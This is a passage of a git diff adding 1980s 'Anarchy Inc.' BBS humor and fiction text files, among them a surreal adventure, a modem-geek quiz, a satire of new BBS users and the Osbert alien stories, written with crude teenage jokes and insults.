typeset contract signed by Flagg and Chaotic Computing, +confirming in my mind what I had so long expected. Flagg and OLYMPIA were +nothing; C/C was the real danger. Hmm, the plot thickens yet further. I left +the same way I got in, leaving a twitching Reuben Flagg slowly drooling into the +stormdrain. I had another task to perform. + + Ok now, concentrate. Where was it? Ahh, there. Concentrate further. + + The fluorescent haze of the office building faded into a bland gray; +characteristic of the limbo inhabiting that which is between frames of +realspace. Grayness faded to the daylight of the ordinary world. Anarchy HQ +constructed itself around me, according to my will. The place was missing most +of its chatter, as everyone but Daredevil was out on a Mission. Daredevil sat +mumbling to himself, a man's paperwork is never done. + + "Hello Daredevil. Do you remember who I am?" + + He looked at me, but my face held no expression. He mumbled something about +the Purge and his eyes opened wide in fear. He remembered. + + "Well, well.. " he spoke, cheerily enough, "Other than that, what brings you +out here to our little place?" + + "Oh, not much. I've just acquired information indicating C/C has been +involved in machinations beyond the ken of the average human. Their farce has +reached the point where it is positively a hazard to the future of mankind." + + "Errr..rr..." + + "No, more serious than that. What I intend to do is penetrate their REAL +headquarters, the one we've never seen, and probably never will." + + "Shit." Harrison, watch your mouth. + + "Where's Dark?" + + "Men's room. Down the hall, stairs, and in the basement. Make a right past +the aresenal, you can't miss the smell. Why?" + + "He can teleport. You can't. If I'm guessing at C/C's power as it stands +now, expect a nuke within ten minutes -- they probably recorded this +conversation." + + "Shit." + + Damn. The grayness took longer to fade this time; I wasn't exactly sure + of my destination. Wait a second.. there. Glasses clinked and the sound of +happy drunken conversation surrounded me at once. What the fuck? + + Two short men next to me in standard FBI 3-piece suits stood interrogating a +weird old-time Scottish warrior type wearing a plaid kilt and bagpipe. A +Scottish tavern? With the FBI? Anachronism, will we never escape you? The men +suddenly began getting insistent with the old fogey, who stepped two paces back. +One of the men drew a small handgun and pointed, but the elderly warlord, eyes +blazing, blew a note on the bagpipe, too quickly for them to react, and too high +for me to hear. + + Reaction followed swiftly. The taller of the two (no handgun) ducked into a +fetal position on the floor, screaming intensly, while the other just stood +there, pink foam oozing out of his mouth and nose. He collapsed silently, +sounds of the tavern still going on, the outburst having no effect on the cheery +Scottish place. The old bagpipe wielder relaxed and looked over my way. Seeing +me, he nodded. + + "Ahh there you are, I've been expecting you." + + And it all faded away. + + At last it became clear; I set myself to do what must be done. This little +diversion, the little Scottish tavern, had been a crucial step in the course of +events. The skirmish between the two men and the bagpipe wielder and his +subsequent greeting had provided me with a vital key, without which Chaotic +Computing would be forever beyond my grasp. I set myself to do what must be +done. + + The room constructed itself around me. Luxuriant but not ostentatious, a +faint erotic suggestion entwined itself in and around the officelike decorum. I +sat down in a reclining couch and waited patiently, noting with some +consternation the room had only one door. Before long, the voice of a woman, +elegant and mature, intruded itself upon the quiet of the place, seeming to have +no source, seeming almost a part of the room itself. + + "Welcome to the reception room. Can I help you in any way?" A hint of +suggestion in that, did I hear? + + "I believe you can. There is information regarding the OLYMPIA/Chaotic merger +which merits further study." + + "Come this way please." The voice became blatantly sexual. + + I could not see her, nor could I know from where she was talking, so I wasn't +surprised when directions appeared in my mind, almost seeming to compel me to +follow. To the room there was only one door. This I opened. + + "Zone 4.01 Register reading negative value, recommend tapping Floor." + + "Photoplaning Floortap Registering positive. Continue." + + The voices pulsed in nanoseconds, yet strangely I could hear them. It is +true, however, that I couldn't understand their meaning. Shimmering +transparencies shielded me from the spectacle of my own mind as we traveled +swiftly from one section to another. I did not know what the voices meant, nor +would I ask: it wouldn't make sense to ask myself what I did not know anyway. + + How is it that it becomes possible to teleport into one's own mind? That +question I leave to others; I am content with the knowledge it could be done. + + The corridor narrowed, a conduit of impulse flashed by, information relayed +from here to there in meaningful continuity, spearing me, impaling me, +dissolving my mind in the presence of myself. I took another step; becoming one +for a moment with matrices of data, electronic pattern taking to life. +Somewhere in the background I heard a voice. + + "Floortap. Floortap. Floor. Tap.. Floor. ...Tap." An electron sped toward +me. I screamed and found myself engripped in the talons of a gigantic bird, +flying swiftly over the walls of a city. I looked up at the face of a girl, the +collar circling her neck. "Oh but Master, you ARE free." Her face was pleading. +"How else would you die honorably?" She laughed, her face changing horribly, +taking on the image of a jackal, fangs growing from her mouth. With a screech +of rage the bird opened his talons, dropping me to the earth, a thousand feet +below. + + The electron sped on past, safe in its orbit about the nucleus, which I could +now see somewhere in the distance. The phone rang; I awoke with a start, dreams +of flight fading in my head. It was Brian. "Hi John, hee hee." I slammed it +down again. It rang. Nothing. It rang again. It was the BBC, who wanted a +copy of the lyrics for the new Frankie release. The phone melted in my hand, a +passing particle of information heating it past the critical point. My hand +screamed, liquid plastic eating through the skin. + + The nucleus floated above me, closer now. I opened the door and stepped into +the room. The skull sat on a column in the center of the floor, staring at me, +smiling. I stared back, noting the Burger King crown atop it and the earring in +the nose. It looked at me. "You have lost," it said. I knew that voice. The +column sank into the floor, taking the skull with it. I sank into the ceiling, +myself melting into it, dissolving. The room was empty. Soon there was no more +room. You'll have to sit somewhere else. + + I heard another voice, speaking softly in a soundless medium. + + "R27 keep reading. I detect an abort in progress. Increase FloorTap. + + That is my recommendation." And another. "247 and holding. ...and holding... +hold-" + + The nucleus approached swiftly, enveloping me in its soft odor. Infor- mation +streaked past me, journeying to far off destinations close by. Pain, so long +below the threshold of conciousness, magnified its presence to a dull roar as a +particle moulded itself into the shape of a bagpipe. I blew into the +mouthpiece. + + The room swirled, out of focus. "Oh shit," I mumbled, nearly vomiting on the +floor; the image of Dorian Hawkmoon impressed itself in my mind. This was no +illusion -- this was real. The mouth softly drooled onto his purple shirt. +"How did you get here?" he spoke, hampered by drool, "You couldn't have just +come from nowhere." + + A slightly amused Lord Arrakis chuckled, replying in the obvious. "Come, +come, dear Dorian. You know better; of course he appeared out of nowhere. This +room has no door." I looked at him, smug little runt, slouching in his pathetic +subcompact throne. It was true: the room lacked a means of entrance. In +passing, I saw the three others watching patiently off to the side. One I +immediately recognized. As for Dorian, a puzzled expression of blatant +stupidity crossed his features, the humorous effect thus produced was not much +unlike a puzzled oaf being put upon by his master. Lord Arrakis chuckled for a +moment before bringing his eyes to rest upon me. + + "All right, you are here. Now who are you?" + + "He is the one who came after me in the office," the one whom I recognized +interjected. + + "Ahh. But who is he?" + + At that moment, Sitting Pretty, almost living up to her name (after all, she +was sitting down), revealed to us all her true intelligence. + + "We have ways of making you talk," she stated. But then she did something +curious. + + Her skin, a sickly pale, took on the glossy characteristic of a well developed +Fotomat picture. Then she had no skin. Her muscles, bones, eyes, brain -- all +changed, dissolved into a pinkish foam; a living foam, moving, swirling, +bubbling. Moving towards me. + + I couldn't move, as if some force took control of me, held me still. And the +foam came towards me, touched me, engripped me, penetrated me (am I being too +poetic?). It truly is an unclean feeling, a gooey blob of jello traveling up +the leg inside several of the larger veins, making its way from the foot on +through the intestine, into the stomach, up the spinal cord, and into the +medulla. My perception of reality shimmered as the thing began to take control +of my brain. It began to scan me. + + Havoc T. Chaos, Senator Bunker, Dark Shadow, Alexander, Daredevil... who? +what? when? where? how? why? I had to think! Sweat broke out on my face. +Think! Who are these people? Anarchy Incorporated, Chaotic Computing, +OLYMPIA... organizations.. what do they mean, what do they stand for? What do +you know about them? Pain redoubled, I began to lose ground. I began think- +ing of Anarchy and my own place in their scheme; of Chaotic, a mysterious +organization of text-file plagiarizers; of OLYMPIA, a meaningless group of +people who don't do much of anything. These are not my thoughts, I thought to +myself. I am Someone Else, not a blob of jello. I thought of bagpipes. STOP +THINKING AT ME!!! I screamed in my head. It stopped. Everything stopped. + + For no reason that I could think of, I started drooling. Captain Cockroach +and the rest of OLYMPIA watched in fascination as what was once Sitting Pretty +dribbled out of my nose, and out of my brain. + + I looked at them. Pathetic, for the most part, seeming that that special +power of hers kept the group together. I thought of bagpipes. Nahh... I'd +better let Harrison know what happened. On teleporting back, I couldn't help +but have the feeling that somewhere a plastic skull with a Burger King crown and +a purple earring was laughing at me. Laughing its head off. + + I walked in through the door this time, surprising them all while they were +refurbishing the place with radiation-proof office furniture. "Carry on," I +said to them, walking past towards Daredevil's office. He glared at me as I +knocked twice and walked in. + + "God damn it! How dare you?" his face contorted in lividness. + + "Should I have rung the doorbell?" + + He let out a sigh of exasperation, "That's not what I meant. You settled our +entire problem, and you're not even an Anarchy member!" + + "Well, what do you want me to do about it?" + + "Fuck off." + +(Ron S. VanZuylen, eat your heart out.) + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/modgeeka.hum b/textfiles.com/groups/ANARCHYINC/modgeeka.hum new file mode 100644 index 00000000..d68f8438 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/modgeeka.hum @@ -0,0 +1,68 @@ + ------------ + Anarchy inc. ...proudly presents... 1/27/85 + ------------ How to Tell if YOU are a Modem Geek! + + Written by: The $heik + + Let's face it. It's not one of life's greatest mysteries, such as if the +light really turns off when you close the refrigerator door? And what the hell +that little dog's name on Pettycoat Junction is? But have you ever wondered if +you were a modem geek? Well, it's time for a SHEIK EXCLUSIVE. So, why not +take the test, and find out... + +1. Is calling a Bulletin Board System the highlight of your day? +2. If it weren't for modems, would your social life be nothing? +3. Do you set your alarm in the middle of the night, just so you can get on + the popular BBS of your town? +4. Do you hang around the computer room at your school...on ALL your breaks? +5. Is Steve Wozniak the man you would pick for the "Time Magazine Man of + the Year" award? +6. Do you sleep with your modem? +7. Do you eat dinner in front of your modem...Every night? +8. Do you find modems more intresting than that cute little blond in + Biology? +9. Would you turn down tickets to the Super Bowl, just so you can log-on to + a system while everyone else if watching the game? +10. Were you under ten when you got your modem? +11. Do you like it when a system plans something for all the members (such + as, to see a movie) so you can stay home, and log onto the system, while + everyone else is meeting each other? +12. Are you stereotyped as the "Computer Geek" at school? +13. Is it impossible for somebody to talk to you on your voice line, without + using a 2600 kz tone? +14. Do you save up all your money, just so you can buy the newest modem each + year, that rated a '10' with "Better Computing"? +15. Do you think this year's superbowl champions were the New York Islanders? +16. Do you auto-dial AE lines? +17. Do you call your modem by name? +18. Does the modem stimulate you in more ways than one? +19. Do you have more than eight ball point pens in your pocket? Not to + mention write-protect tabs, head cleaners, etc... +20. Are you the VanMaster, the Champion Eternal, Matt Ackeret, Princess Leia, + Inver Brass, The Jackal, or Mr. Maverick? (This last line was added by + the Bullseye...) + + SCORING: + +if you answered 'YES' to none, then you're cool. No problem. +1-2 You need to get your priorities straight. +3-7 Well, it's not too late yet...Maybe, just maybe... +8-12 Have your parents beat it out of you. +13-16 Let's put it this way..."Revenge of the Nerds" was your movie. +17-20 You're a modem geek. In other words, blow up your apple, and start + your life over. + + And if you scored more than twenty, not only are you a modem geek, but you +can't count! There were only twenty possible, bub. + +DISCLAIMER: Well, I hope we here at Anarchy inc. didn't offend anybody, + but...hey...somebody had to do it. + +Have a nice day. +$$$$$$$$$$$$$$$$$$$$The Sheik$$$$$$$$$$$$$$$$$$$ + ------------ + Anarchy inc. MCMLXXXV All tables reserved. + ------------ + + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/mypalbtc.hum b/textfiles.com/groups/ANARCHYINC/mypalbtc.hum new file mode 100644 index 00000000..75d6a07a --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/mypalbtc.hum @@ -0,0 +1,52 @@ + The Motorhead presents.... + Bill the Cat is MY Friend! + ---- --- --- -- -- ------ + + None of you are going to believe this, but I have something to admit: Bill +the Cat is my friend! Yes! I actually like the guy. I have decided to set the +record straight on a few things which have been said about BtC in the past, as +well as many recent remarks. + + First off, it was rumored that Bill the Cat (then going under his real name +instead of his present monicker) molests fire hydrants. I have been talking to +Bill quite a lot recently, and he has been confiding in me about various aspects +of his life. I have it on good authority that he does NOT molest fire hydrants; +he actually likes to do it with street light fixtures as well as various small +furry creatures. I bet the fire hydrant lie was made up by that mean and nasty +person, A Modem User. God, is he really mean! + + Next, recently A certain Modem User alleged that Bill was caught shoplifting +at a porno accessory place. I must say that, after talking to Bill and with the +police forces of the area, that this is totally untrue. The charges were +dropped after it was discovered that his parents ran the store and that he was +just bringing a few things home from the store for him and his parents to use +for an evening of fun and relaxation. + + I'm sure that Bill will truly appreciate the fact that I have set the facts +straight on these two matters, and now I will tell you the truth about something +else before those mean people in Anarchy Inc. get ahold of it and twist the +facts to make BtC sound less than normal. It appears that Bill has a great lust +for two people in the MODEM {which, by the way, stands for MOdulator +DEModulator} world; these two people are Commander Video and A MODEM User {You +really should say MODEM in all capital letters since it is an acronym}. +Aparently Commander Video is a buddy of his from that great BBS Affordable +Harbor {which, sadly, I have never been able to check out for myself; I just +believe Bill when he says how good it is}, and A MODEM User is, well, Uzer. +Everyone knows him by now. I guess it is a kind of love/hate relationship there +{at least on Bill's part; I doubt Uzer reciprocates}. + + Well, there you have it. I hope you take appropriate action as a result of +the facts I have set straight here. + + The {friend of BtC} Motorhead + +(C) 1985 by Nobody in particular. + +------------------------------------------------------------------------------- + _ ___ _ the _ _ __ P>rogressive U>nderground + And as this textfile | ||__ \ | | | | | ||_ \ D>issidents + rolls off the screen, | | __) )| | | | | | \ \ 3 1 3 - 4 3 3 - 3 1 6 4 + you realize instantly | ||___/ | | | | | | ) ) 300/1200 Baud + the place to get more | | | |___| | | | _/ / 20 Megs of TextFiles + like it.. |_| \_____/ |_||__/ SysOp: Mr. Pez + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/newuser.hum b/textfiles.com/groups/ANARCHYINC/newuser.hum new file mode 100644 index 00000000..ae7eff17 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/newuser.hum @@ -0,0 +1,97 @@ + (-- The life of --) + a + new user + ---- + (- Written By: -) + Surf Rat + + ...An Anarchy Inc. File... + (C)opy freely + + + This file is being written to give a humorous description of the common new +user, that we all know and hate so much. Hopefully it will be accurate enough, +but hey, what do I care if a bunch of new users get mad at me? Onward.. + + Soon after the New User gets his new shiny generic modem, and learns how to +dial it, after thoroughly memorizing the entire booklet, it will attempt to call +the local 'Homosexual BBS'...something he/she/it can relate to easily. After +enjoying making many new friends, who keep trying to coerce the new user to +'Come over to see something', the new user might attempt to call an exciting +Commodore or Atari board..gee, what fun. As IT logs on, and is discovered to be +using an Apple, the sysop quickly realizes that he is very lucky to be so +honored by an Apple user, despite the New User's lameness, he will give him +levels..ooh! Our New User is now a macho-stud, because he has a 'Super-wizzy +level 8 access'..watch out world, for here he comes.. + + One unfortunate day, our new user discovers an Apple board, with decent users, +and a cool sysop. As soon as our macho-stud New User logs on, he sends the +sysop a threatening letter: + + HEY! I HAVE LEVEL 8 ACCESS ON THE + COMMODORE CAVERNS! AND YOU HAD + BETTER GIVE ME A LEVEL 8 ACCESS + HERE, BECAUSE I AM C0000L! + + The poor sysop, upon reading this, quickly dismisses the matter and deletes +the fool. + + The next day, right after the New User gets home, he calls up to find that he +doesn't have a password at the system he called the night before! Shocked and +outraged, he logs on again and sends the sysop a 'Really nasty and mean letter' +(A quote taken from a notorious New User around here..) + + HEY! YOU DELETED ME!!!!!!!!!!!!!! + DONT EVER DO THAT AGAIN!!!!11!!1! + (~~ SORRY ~~ + I DIDNT MEAN + TO PUT IN + THOSE 1'S!!1!) + YOU HAD BETTER VALIDATE ME AND + APOLOGIZE BEFORE I GET MAD! I'M + WARNING YOU! + + + The sysop, annoyed by this nuiscanace sends him back an appropriate letter, +and validates him for the hell of it. Now the New User has gained access to a +board. Little do the users know that this fag has access.. + + The New User makes his grand entrance by telling everyone what a neato-swell +guy he is, and asking everyone if they know how to put up a board with a +Neo-Nothing Generic 13409AB generic modem with 110 and 300 baud! (Isn't he +special?) Most of the users respond by either telling him/her/it to fuck off, or +just plainly asking the sysop to delete the scum. Somehow the New User finds +out that poeple don't like him, and he has a fit..He posts on all boards..: + + YOU ARE ALL DUMB! I HATE YOU ALL! + I AM GOING TO GET YOU!!!!11!!!1!! + I AM NEVER GOING TO CALL BACK + AGAIN..! + + Everyone breathes a sigh of relief. But, very cleverly the New User sneaks +back on under a different name! Probably something like: + +Little Al +Bill The Cat +Gandalf The Grey <<--Very original! + + He then sends all of his new 'enemies' 'nasty hate mail'..'I hate you! Why +don't you just go and die please?' (oh god..) Soon everyone knows he is back, +but he still thinks that no one knows who he is.. Eventually, after being +ragged on for months, he retires, defeated, and slinks back to his beloved +Commodore boards, where even the geeks call him a 'l000ser'.. + + If you know of anyone that I have just described..Show this file to him so he +can have 1 more enemy. + + "Like wow..I didn't know I was ever that lame"-Matt Ackeret; alias Gandalf the +Grey and Bill The Cat.. the person that I modeled this file after..(Trivia- +Matt Ackeret is 4'7 inches tall, 16 years of age, and still sings in Alto key..) + +Call The Twilight Zone: + 408-253-2140 + +-Have you kicked your new user today?- + +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/noname!.hum b/textfiles.com/groups/ANARCHYINC/noname!.hum new file mode 100644 index 00000000..c4ef888a --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/noname!.hum @@ -0,0 +1,106 @@ +Ahem. Time for another -------------- textfile. + Anarchy Inc. + -------------- + +(.... Daredevil, Ruby Tuesday, Modem User, Surf Rat, Dark Shadow ....) +(.... Senator Bunker, Havoc T. Chaos, Moon Roach, Lord Omega ....) +(.... The Misfit, Eric C. Thompson, and Alexander of Atlantis ....) + + Now that my compooter is no longer in a state of disrepair, we may proceed on +one of our lilliputian excursions into that vast, untapped visceral body of +ethereal knowledge, that antithesis of antimony (what?), namely, this file... +Note that it is not done in cooperation with Radamanthine Dungeonwriters, Shadow +Stories Inc., BfB, or any other such organization- just Anarchy, Inc. + + + +You must be here for one of two reasons- + + (1) You are bored, and when in such a state are apt to read anarchistic + literature. Seek counseling. + + (2) Your English teacher has noted the literary quality omnipresent in + files of said group, and now you are doing your homework. Have your + English teacher seek counseling immediately. + +(............................................................................) + + + +/---------------------\ A D V E R T I S I N G +| this is... | My friends, what is advertising? Chopped ham? No, +| a cute box | it's chopped liver, chopped to a smooth texture... +\---------------------/ Seriously, the only reason you read this file is +because of it's name. THIS FILE HAS NO NAME. But I lied, it has a name. You +can lie in advertising, it's considered standard practice to do so, even. +YOU HAVE SUCCUMBED TO THE PRESSURE OF THE MASS MEDIA, and shame on you! Why, +suppose there were a product on the shelf, called "This product has no name +(TM)". You'd probably buy it. You bought this file, after all. + + Enough of that. Let's get down to proper things now. The mass media is +out to get us. You don't think they do all the nice things that they do just +for a service. Of course not. They want to sell you things. They want you to +buy things. They want you to make them happy, monetarily that is. + + All advertising is not bad. Those public service announcements, (even +though they are there to keep the government happy to keep the station on +the air to keep advertisements on the air as well) are not bad, but they are +rather boring. But since you're not buying these services, they don't care. +/---------------------\ Since nobody but a splinter interest group ever +| buy anarchy | expresses any remote interest in the mass media's +\---------------------/ attack on our sanity, I think it about time some- +thing's done about this. Why, it's a travesty, a travesty of sanity, if you +will, and I'll not stand for it. So I write this text file. There, by the +grace of god, be I, me, sitting front of me apple ][ (+plus+, not //c). + + Good grief, look at that commercial. Whatever happened to good adver- +tising, like Ed Barbara Furniture USA hi kids! Not that that's a soothing +voice, nor a good commercial; in fact if I had my chance I would probably do +something on the level of garroting that man. + + Good grief, he[the Author]'s rambling again! We've got to put a stop to +it! But first these messages... [note: there are no messages; there was but +I had to save space- so I deleted 20k of ads. Sorry-/ed] [note: some people +have been complaining about there being too many notes./ed]. + +/---------------------\ [I'm getting sick of this! /ed] [Gag!.../ed?] +| reading boxes | Ever notice that a large percentage of commercials +| causes cancer | are just for shows that you could watch just to see +\---------------------/ other commercials? Wow! This stuff feeds on itself! +Now you can see why this has to be stopped. Well, at least the cable companies +almost don't have commercials, except between shows there exist commercials of +other shows, but those other shows don't have commercials, so it does not feed +on itself in that case. Still,... + + So, you're going to watch television anyway... Ahem. That's Ok, as long +as you realize that the mass media advertising blitz really is nothing you can +do about, except ignore. Or use the device known as a remote channel selector +to quickly zap your television into obedience. Seems that those networks are +going to have to learn that our viewing time is sacred to them, and they shalt +not tamper with thus. Soon they will realize that 7 commercials in rapid fire +succession will not keep us glued to that TV channel. + + On another note, you could do what I've done: Give up network TV series +altogether. The only network prime time show that I watch is Mike Hammer (my +hero?). That is, as soon as he's out of the clink. + +/---------------------\ Now there comes a time in any text-file writer's +| 12:59:59 | to conclude his file. Now appears to be that time. +| Time to wake up... | So, with a flash, I will vanish namelessly into that +| (conclusion) | Big AE in the sky... +\---------------------/ -poof!- + + "That's funny. I was reading this file, you see, and all of a sudden the +author vanished." + + "Nothing funny about that at all. Haven't you noticed how that happens +every time you read a text file?" + + "Oh yeah." + +(............................................................................) + +My sincere apologies for the unfortunate few who had not the courage to press +the ESC key and sat through the entire reading of that FOMA. Ahem. +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/nothing.hum b/textfiles.com/groups/ANARCHYINC/nothing.hum new file mode 100644 index 00000000..6c6bdfa1 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/nothing.hum @@ -0,0 +1,49 @@ + + -------------- + Anarchy inc. + -------------- ...Proudly Presents... + + Nothing. +Written by; The Moon Roach of Anarchy inc. + (c) 1984 All Rights Shot to Hell... + + + A complete guide to existence and the fact that it isn't there. + + You may be wondering one morning, after you wake up, + am I here? Is anything here? Is this all just a wet dream? + Well now here's your answer ...... yes it is. + And I will prove it thus: + + Existence today (for most, not for me) is based on proof. + Well, can anybody prove anything? Can you actually prove + that you are alive today? Once you think about it, + nothing can be proven. Now stop arguing..it's true and you + know it. + Therefore, since nothing can be proven, nothing exists, + And people usually just generally accept that there is something + around them so they can continue to live normal lives. + So.. nothing exists really...right? + Wrong. + Nothing does't exist either, and in fact cancels out itself. + Thus: Anything(or something) is any idea or concept. + therefore, since nothing is a concept, it is something, + and cancels itself out. + Also is the fact that nothing has never been found, + Cannot be proven and bam, dosen't exist. + + Well dosen't that just make your day? + I have just disproven all existence. + now, + for the rest of your empty life you can contemplate this + just like the Gurus do, and slowly turn into something + resembling a large rasin. + + Have a nice day. + The Moon Roach + Anarchy inc. + The Gemini Daredevil, The Moon Roach, Teeny Bopper, Havoc The Chaos, + Surf Rat, Dreadstar, A Modem User, Ruby Tuesday, Princess Leia, D.B. Cooper, + The Sheik, and The Bullseye. Coming Soon: ..How to Hijack the Space Shuttle +Call The Works BBS - 1600+ Textfiles! - [914]/238-8195 - 300/1200 - Always Open + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/osbert.hum b/textfiles.com/groups/ANARCHYINC/osbert.hum new file mode 100644 index 00000000..04b5befd --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/osbert.hum @@ -0,0 +1,116 @@ +(>Plight of Memories.. + + o They had threatened him with physical abuse, throwing him in jail, +taking away his credit. + + o They would have played tricks with his mind, had he not be so blatantly +ignorant. + + o They pumped drugs into his body, and when he tried to cry "MORE MORE +MORE!" and what came out was "MRHGAHJ HAJDW EHWMA??" they gave him more +anyway. + + o Yet, when they told him they would never let him free to destroy +society, he answered very calmly "I'm afraid that precaution comes to late," +and he was right. + + o Because as long as one person was aware of this being's plight, the rest +of society would, if not now, sooner or later, follow him on to another world. + + ...Perhaps not a better one for some, but not a worse one for many. That +thing that came to lead us onward + ...was Osbert. + +------------ Oct 12, 1987 +Anarchy Inc. ...presents... +------------ Osbert and the Plight of Memoiries + another fictional tale by Alex of Atlantis + + Osbert walked down the street. People cowered, almost scowling away at a +scurrying pace, pitilike. Osbert just smiled. On his world, that was a sign +of a king, a ruler, someone to be reckoned with. Here, he spat, it was just +a sign of meak submissiveness. + + Many people thought him cruel. He looked out from Eric's body. "Many +people," he told the begger on the street, "think me insensitive and insane. +What do you think?" he asked. + The begger looked up, and sputtered "I think I need a dime," he said shyly, +with a curt grimy grin. + Osbert's eyes flared through Eric's and he kicked the begger in the side +with the force of disgust, and walked on as the begger moaned and groaned. + "Ahh that's better," Osbert thought to Eric. + Eric asked back. + "Shut up, fool, this is my body now." Told Osbert. A person on the alley- +way looked toward him, but Osbert just scowled back as best he could from +Eric's putridly innocent face. + + "I'm getting really sick of you," Osbert told Eric. "I think its time the +world got to know me as I am. An advanced being, which they will not have the +sense to comprehend till it is too late." + Eric could only wimper. There was nothing he could do. He was happy to +have his body back, and yet.. + he thought. + A rush came over the body, and Eric hit the ground hard, as a face does +when planting itself upon concrete. Eric looked up at the begger, who had +gotten up and rounded up his friends around Eric. "I'm free!" He yelled. + The first begger kicked him in the side. Then the next. Then the next. +What a welcome back into reality. + + Osbert looked around from inside the oval office. The president was no +where to be found. It was interesting how few little people could realize +the significance of one alien. Osbert had come for them. Their time was +soon to be where he would lead them onward to a new world. Where only the +high and mighty survived, but with a cruel twist: The high and mighty were +to be slaves, while the lonely peons were to be lonely peons. But on +Osbert's world, lonely peons live lives of normal folk. So for many it would +be a deserved hell, and for others it would be life anew. What was so +terrible about that? +}%{ + + President Sandra M. K. Lemmings walked into the room. "The 21st century +has no room for women presidents," Osbert scowled under what resembled a +tongue. + "Oh, it's you," she responded, turning and closing the door. "What can I +do for you?" + "I have come to take over the world," Osbert said simply. "I will fill +your body and become one with you, so that we can lead your people onward into +space and time to our world. I come to help you, you pathetic foolish humans, +although I have no idea why." + "Maybe it's just impulse," she responded. Osbert was surprised at how well +she seemed to be handling this rather unbelievable situation. It wasn't +everyday you find an alien sitting at your desk. + "Lets get on with it," he muttered, and jumped inside her body. + "You never were one for small talk, Osbert." She said, just as he jumped +toward her. + + Bash. Someone's here! + "Of course there is stupid. You just think you can waltz + in here and take over her body? It takes time!" + + "Shut up, girl." + What are you talking about? I just wanna jump right in and + get this over with. Who the hell are-- + "Listen you slimeball, I took my time and did her by the + book, and I'm not letting any hot-shot idiot like you + ruin this." + + Shut up! "Shut up!" + Oh no! You're not...Sa...Oh my god... + "Yes, Osbert honey, it's me. Sabrina! Now get the hell + OUT!" +Bash. You bitch! + + We haven't seen much of Osbert here on earth since that day, but he +promises, someday, he'll come back and lead us onward. As soon as his ex- +girlfriend + ..."Croaks over and dies. That damned bitch." Writes Osbert from home. + + +-- Osbert and the Plight of Memories -- 5462 Chars -- (c)opyOK? -- Fin. -- + + ------------ + Anarchy Inc. ^MIXRIIV to ^QMMXXIII + ------------ and still up to no good. + + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/osbertec.hum b/textfiles.com/groups/ANARCHYINC/osbertec.hum new file mode 100644 index 00000000..4f67dd75 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/osbertec.hum @@ -0,0 +1,60 @@ +------------ Jun 25, 1987 +Anarchy Inc. ...presents... +------------ Eric C. Thompson in the World of Osbert + a short, rather fictional tale by Alex of Atlantis + + "Eric's my name," Eric starts telling you. "I've been here before." He +shakily brings the cigarette up to his mouth and takes a drawl. After +spurting forth coughs of the smoke he wipes his brow and continues. + "It's not like I don't know what's going on. You all may have been there, + may have not. I just know what's happened to me." He looks around the group +uneasily; all of you sitting quietly on your folding chairs in the circle. He +leans back and stretches, obviously pushing onward in his commentary with +exaggerated frustration.. + "It all happened one day when I was sitting home alone. A day, quite +like this one," he tells, staring out the window to the side, where the last +beam of sunlight can be seen thrusting inward toward the curtains, pushing +the curtains aside after standing and facing the window, he turns, his face +sweating. He takes a puff on the cigarette, and comes back to the chair. + "I was sitting, reading an Apple manual on Pascal 1.2. UCSD. I always +hated it, but it was the only Pascal I had," he tells, lowering his voice so +that you have to lean in to hear him. + "Then a cold rush covered me.." + For some reason, you feel cold. + "I started to get a little nervous, I went over and checked my thermo- +stat." + Your hands feel itchey. You can't sit quite still. You look around, but +no one else seems to be uncomfortable. + "It was fine. I went and sat down. It felt like the whole room was +caving in on me, surrounding me." + You feel almost a paranoia. You look around, but all the people in your +circle are just gazing into Eric C. Thompson's eyes, almost transfixed. You +lift your gaze to look at him, and he is staring right at you. + "It felt as if a knife had been plunged through my heart." + Pain. Pain in your chest. He looks at you. His eyes so cold, his gaze +so calculating--as if--as if--pain.. + "I couldn't breathe..I couldn't remember..It was as if people I knew had +just disappeared from existance and I would never know who they were or why +I would have known them." + You feel yourself slipping away. You scream, but no one can hear you. +You look into his eyes. He smiles slightly. Darkness. You are gone. + + "But then the feeling goes away." Osbert looked out from Eric's eyes +for a moment, and saw the students awaiting the next tale. They all smiled +at each other. He smiled at himself. + "Who's next?" he asked, letting Eric take a needed puff on his cigarette. + asked Eric inside his mind, + Osbert just smiled and looked out the window. + "And then there was this other time," he told, orienting on the next +group. + + +..Anarchy Inc.; June 25, 1987; by Alexander of Atlantis; EOF; (c)opy, right?.. + + + ------------ + Anarchy inc. "The text-file people." + ------------ MCMLXXXIV to MCMLXXXV: Still going strong. + + + \ No newline at end of file diff --git a/textfiles.com/groups/ANARCHYINC/oscrmear.hum b/textfiles.com/groups/ANARCHYINC/oscrmear.hum new file mode 100644 index 00000000..6f238f74 --- /dev/null +++ b/textfiles.com/groups/ANARCHYINC/oscrmear.hum @@ -0,0 +1,128 @@ +"The Text-file people" at + ------------ + Anarchy Inc. + ------------ +bring you: + + The Oscar Mears Saga Vol. II + by + The Motorhead! + + Where we left off last time, our hero, Oscar Mears, had just cut a whole day +of school after the little incident with the water in his locker. + + Oscar managed to forge a note from his mom saying that he was sick the +previous day, so he got away with his little escapade scot-free. That next day +they just happened to have an HCC meeting at lunchtime, so Oscar showed up to +get the map for their next Friday night meeting. This time there wasn't any +mention of him in the HCC News, instead Evil Man was shown taking a sledge +hammer to an Atari 800, and then beating Tom Shou (an infamous Atari-lover in +the club) over the head with a Soviet rocket launcher. Oscar managed to laugh +at this one. + + During that week, Oscar managed to get his drivers license (after only four +tries at the test), so he was able to drive himself to the meeting. On the way, +he was pulled over by a cop, not for speeding, but for driving too slow. It +seems he was only driving 20 mph in a 25 zone, and was getting quite a few other +drivers quite mad at him. After getting a lecture from the cop about traffic +safety, Oscar went 